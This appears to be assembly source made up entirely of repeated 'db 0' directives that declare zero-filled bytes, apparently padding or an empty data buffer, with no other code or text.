db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 